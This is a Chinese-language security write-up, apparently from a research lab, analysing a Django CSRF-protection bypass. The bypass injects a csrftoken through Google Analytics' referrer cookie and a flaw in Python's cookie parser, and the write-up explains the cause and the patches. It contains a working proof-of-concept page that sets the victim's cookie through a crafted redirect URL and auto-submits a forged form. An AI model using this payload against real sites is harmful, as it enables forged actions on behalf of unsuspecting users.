Author: p0wd3r (知道創宇404安全實驗室)

Date: 2016-09-28

0x00 漏洞概述

1.漏洞簡介

Django是一個由Python寫成的開源Web應用框架。在兩年前有研究人員在hackerone上提交了一個利用Google Analytics來繞過Django的CSRF防護機制的漏洞(CSRF protection bypass on any Django powered site via Google Analytics),通過該漏洞,當一個網站使用了Django作為Web框架并且設置了Django的CSRF防護機制,同時又使用了Google Analytics的時候,攻擊者可以構造請求來對CSRF防護機制進行繞過。

2.漏洞影響

網站滿足以下三個條件的情況下攻擊者可以繞過Django的CSRF防護機制:

  • 使用Google Analytics來做數據統計
  • 使用Django作為Web框架
  • 使用基于Cookie的CSRF防護機制(Cookie中的某個值和請求中的某個值必須相等)

3.影響版本

Django 1.9.x < 1.9.10

Django 1.8.x < 1.8.15

Python2 < 2.7.9

Python3 < 3.2.7

0x01 漏洞復現

1. 環境搭建

1. pip install django==1.9.9
2. django-admin startproject project
3. cd project
4. python manage.py startapp app
5. cd app
6. 將 'app' 添加到 project/project/settings.py 中的 INSTALLDE_APPS 列表中
7. 更改或添加下列文件:

project/app/views.py:

from django.shortcuts import render
from django.http import HttpResponse

# Create your views here.

def check(req):
    if req.method == 'POST':
        return HttpResponse('CSRF check successfully!')
    else:
        return render(req, 'check.html')

def ga(req):
    return render(req, 'ga.html')

project/project/urls.py:

from django.conf.urls import url
from django.contrib import admin

from app.views import check, ga

urlpatterns = [
    url(r'^admin/', admin.site.urls),
    url(r'^check/', check, name='check'),
    url(r'^ga/', ga, name='ga'),
]

project/app/templates/check.html

<form action="/check/" method="POST">
    {% csrf_token %}
    <input type="submit" value="Check"></input>
</form> 

project/app/templates/ga.html(放置Goolge Analytics腳本的頁面):

<script type="text/javascript">

  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-XXXXX-X']);
  _gaq.push(['_trackPageview']);

  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

</script>

最后運行開啟Django內置server:

# project/
python manage.py runserver

2.漏洞分析

我們先來看這樣一個場景:

Alt text

當python內置的Cookie.SimpleCookie()解析a=hello]b=world這種形式的字符串時會以]作為分隔,最后取得a=hellob=world這兩個cookie,那么為什么會這樣呢?

我們看一下源碼,Ubuntu下/usr/lib/python2.7/Cookie.py第622-663行:

def load(self, rawdata):
    """Load cookies from a string (presumably HTTP_COOKIE) or
    from a dictionary.  Loading cookies from a dictionary 'd'
    is equivalent to calling:
        map(Cookie.__setitem__, d.keys(), d.values())
    """
    if type(rawdata) == type(""):
        self.__ParseString(rawdata)
    else:
        # self.update() wouldn't call our custom __setitem__
        for k, v in rawdata.items():
            self[k] = v
    return
# end load()

def __ParseString(self, str, patt=_CookiePattern):
    i = 0            # Our starting point
    n = len(str)     # Length of string
    M = None         # current morsel

    while 0 <= i < n:
        # Start looking for a cookie
        match = patt.search(str, i)
        if not match: break          # No more cookies

        K,V = match.group("key"), match.group("val")
        i = match.end(0)

        ...

當傳入load一個字符串時,調用__ParseString,在__ParseString中有這樣一句:match = patt.search(str, i),根據之前定義的pattern來查找字符串中符合pattern的cookie,_CookiePattern在529-545行:

_LegalCharsPatt  = r"[\w\d!#%&'~_`><@,:/\$\*\+\-\.\^\|\)\(\?\}\{\=]"
_CookiePattern = re.compile(
    r"(?x)"                       # This is a Verbose pattern
    r"(?P<key>"                   # Start of group 'key'
    ""+ _LegalCharsPatt +"+?"     # Any word of at least one letter, nongreedy
    r")"                          # End of group 'key'
    r"\s*=\s*"                    # Equal Sign
    r"(?P<val>"                   # Start of group 'val'
    r'"(?:[^\\"]|\\.)*"'            # Any doublequoted string
    r"|"                            # or
    r"\w{3},\s[\s\w\d-]{9,11}\s[\d:]{8}\sGMT" # Special case for "expires" attr
    r"|"                            # or
    ""+ _LegalCharsPatt +"*"        # Any word or empty string
    r")"                          # End of group 'val'
    r"\s*;?"                      # Probably ending in a semi-colon
    )

在這里我們看到]并沒有在_LegalCharsPatt中,由于代碼中使用的是search函數,所以在匹配a=hello后碰到]會跳過這個字符然后再匹配b=world。因此正是因為使用search函數來匹配,所以理論上當a=hello后面是任意一個不在_LegalCharsPatt中的字符都會達到同樣的效果,我們實際測試一下:

除了這些字符本身,我們也可以使用這些字符的十六進制和八進制表示來觸發漏洞。有一點需要注意的是,使用\來觸發漏洞需要對其進行轉義:a=hello\\b=world

這個漏洞也正是整個Bypass的核心所在。

我們再來看Django(1.9.9)中對cookie的解析,在http/cookie.py中第91-106行:

def parse_cookie(cookie):
    if cookie == '':
        return {}
    if not isinstance(cookie, http_cookies.BaseCookie):
        try:
            c = SimpleCookie()
            c.load(cookie)
        except http_cookies.CookieError:
            # Invalid cookie
            return {}
    else:
        c = cookie
    cookiedict = {}
    for key in c.keys():
        cookiedict[key] = c.get(key).value
    return cookiedict

根據動態調試發現這里的SimpleCookie也就是我們上面所說的存在漏洞的對象,從而可以確定Django中對cookie的處理也是存在漏洞的。

我們再來看看Django的CSRF防護機制,默認CSRF防護中間件是開啟的,我們訪問http://127.0.0.1:8000/check/,點擊Check然后抓包:

Alt text

可以看到csrftokencsrfmiddlewaretoken的值是相同的,其中csrfmiddlewaretoken的值如圖:

Alt text

也就是Django對check.html中的{% csrf_token %}所賦的值。

我們再改下包,使csrftokencsrfmiddlewaretoken不相等,這回服務器就會返回403:

Alt text

我們再把兩個值都改成另外一個值看看:

Alt text

依然成功。

所以Django對于CSRF的防護就是判斷cookie中的csrftoken和提交的csrfmiddlewaretoken的值是否相等。

那么如果想Bypass這個防護機制,就是要想辦法設置受害者的cookie中的csrftoken值為攻擊者構造的csrdmiddlewaretoken的值。

如何設置受害者cookie呢?Google Analytics幫了我們這個忙,它為了追蹤用戶,會在用戶瀏覽時添加如下cookie:

__utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH]

其中[HOST][PATH]是由Referer確定的,也就是說當Referer: http://x.com/helloworld時,cookie如下:

__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=(referral)|utmcmd=referral|utmcct=helloworld

由于Referer是我們可以控制的,所以也就有了設置受害者cookie的可能,但是如何設置csrftoken的值呢?

這就用到了我們上面說的Django處理cookie的漏洞,當我們設置Referer為http://x.com/hello]csrftoken=world,GA設置的cookie如下:

__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=(referral)|utmcmd=referral|utmcct=hello]csrftoken=world

當Django解析cookie時就會觸發上面說的漏洞,將cookie中csrftoken的值賦為world

實際操作一下,為了方便路由我們在另一個IP上再開一個DjangoApp作為中轉,其中各文件如下:

urls.py:

from django.conf.urls import url
from django.contrib import admin

from app.views import route

urlpatterns = [
    url(r'^admin/', admin.site.urls),
    url(r'^hello', route)
]

views.py:

from django.shortcuts import render
from django.http import HttpResponse

# Create your views here.

def route(req):
    return render(req, 'route.html')

route.html:

<script> window.location = 'http://127.0.0.1:8000/ga/'; </script>

開啟中轉App:python manage.py runserver xxx

構造一個攻擊頁面:

<form id="csrf" action="http://127.0.0.1:8000/check/" method="POST">
    <input type="hidden" name="csrfmiddlewaretoken" value="boom">
</form>

<script type="text/javascript" charset="utf-8">
function sleep (time) {
      return new Promise((resolve) => setTimeout(resolve, time));
}

function poc() {
    window.open('http://redirect-server/hello]csrftoken=boom');

    sleep(1000).then(() => {
        document.getElementById('csrf').submit();
    });
}
</script>

<a href='#' onclick=poc()> Click me </a>

當我們點擊Click me,會先打開一個窗口,再回到原窗口,就可以看到保護機制已經繞過:

Alt text

再訪問一下http://127.0.0.1:8000/check/,可以看到此時cookie中的csrftoken和form中的csrfmiddlewaretoken都已被設置成boom,證明漏洞成功觸發:

Alt text

Alt text

攻擊流程如下:

Alt text

3.補丁分析

Python

可以看到這個漏洞在根本上是原生Python的漏洞,首先看最早在2.7.9中的patch:

Alt text

search改成了match函數,所以再遇到非法符號匹配會停止。

再看該文件在2.7.10中的patch:

Alt text

這里將[\]設置為了合法的value中的字符,也就是

>>> C.load('__utmz=blah]csrftoken=x')
>>> C
<SimpleCookie: __utmz='blah]csrftoken=x'>

同樣Python3在3.2.7和3.3.6中也做了相應patch:

Alt text

Alt text

不過盡管上面對[\]做了限制,但是由于pattern最后\s*的存在,所以在以下情況下仍然存在漏洞:

>>> import Cookie
>>> C = Cookie.SimpleCookie()
>>> C.load('__utmz=blah csrftoken=x')
>>> C.load('__utmz=blah\x09csrftoken=x')
>>> C.load('__utmz=blah\x0bcsrftoken=x')
>>> C.load('__utmz=blah\x0ccsrftoken=x')
>>> C
<SimpleCookie: __utmz='blah' csrftoken='x'>

這些情況在最新的Python中并沒有被修復,不過在實際情況中由于瀏覽器和腳本的原因,這些字符不一定會保存原樣發送給Python處理,所以在利用上還要根據場景來分析。

Django

Django在1.9.10和1.8.15中做了相同的patch:

Alt text

它放棄了使用Python內置庫來處理cookie,而是自己根據;分割再取值,使特殊符號不再起作用。

0x02 修復方案

升級Python

升級Django

0x03 參考


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/58/